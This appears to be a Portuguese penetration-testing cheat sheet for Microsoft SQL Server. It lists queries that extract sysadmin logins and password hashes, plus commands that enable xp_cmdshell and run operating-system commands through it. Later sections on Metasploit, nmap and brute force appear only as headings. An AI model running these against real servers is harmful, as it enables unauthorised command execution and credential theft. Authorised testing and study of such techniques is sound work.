Microsoft SQL Server
Conectando ao Banco de Dados
Queries Essenciais
SELECT @@version
Versão do MSSQL
SELECT host_name()
Hostname do servidor
SELECT db_name()
Database atual
SELECT loginname FROM syslogins WHERE sysadmin = 1
Extraindo Logins de SQL
SELECT name FROM sys.databases
Exibindo todos os databases
USE <database>
Acessando um determinado database
SELECT * FROM sysusers
Exibindo todos os Sys Users
SELECT name, password_hash FROM master.sys.sql_logins
Extraindo hashes dos usuários
SELECT name, CONVERT(INT, ISNULL(value, value_in_use)) AS IsEnabled FROM sys.configurations WHERE name = 'xp_cmdshell'
Verificando se xp_cmdshell
está habilitado
EXEC sp_configure 'show advanced options', 1 ; RECONFIGURE ; exec SP_CONFIGURE 'xp_cmdshell', 1 ; RECONFIGURE
Habilitando o xp_cmdshell
EXEC xp_cmdshell "<command>"
Executando comando no sistema operacional
SELECT servicename, service_account FROM sys.dm_server_services
Nome e Conta de Serviço
SELECT name AS database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS trustworthy FROM sys.databases
Pegando nome de usuários e seus respectivos databases
Executando Query
sqlcmd
Conectando-se no host MSSQL
Após conectar-se no host, é possível executar comandos SQL, porém ao digitar e query pressionar Enter
, é preciso digitar go
para determinar que o comando deve ser executado (semelhante ao ponto e vírgula). Por exemplo, para verificarmos a versão do MSSQL, utilizaríamos os seguintes comandos:
Powershell
Metasploit
Enumeração
Metasploit
Enumeração do MSSQL
Enumeração de contas de usuário do Domínio através do MSSQL
nmap
Informações sobre o MSSQL
Informações do MSSQL com NTLM
Senha em Branco
Extraindo Hashes
Listando Todos os Sys Users
RCE
Acesso Direto ao SQL Server
Caso alguma conta de usuário com o serviço "SQL Server Agent (MSSQLSERVER)", utilize a query abaixo para ganhar permissões.
Brute Force
nmap (Remoto)
Sites
Last updated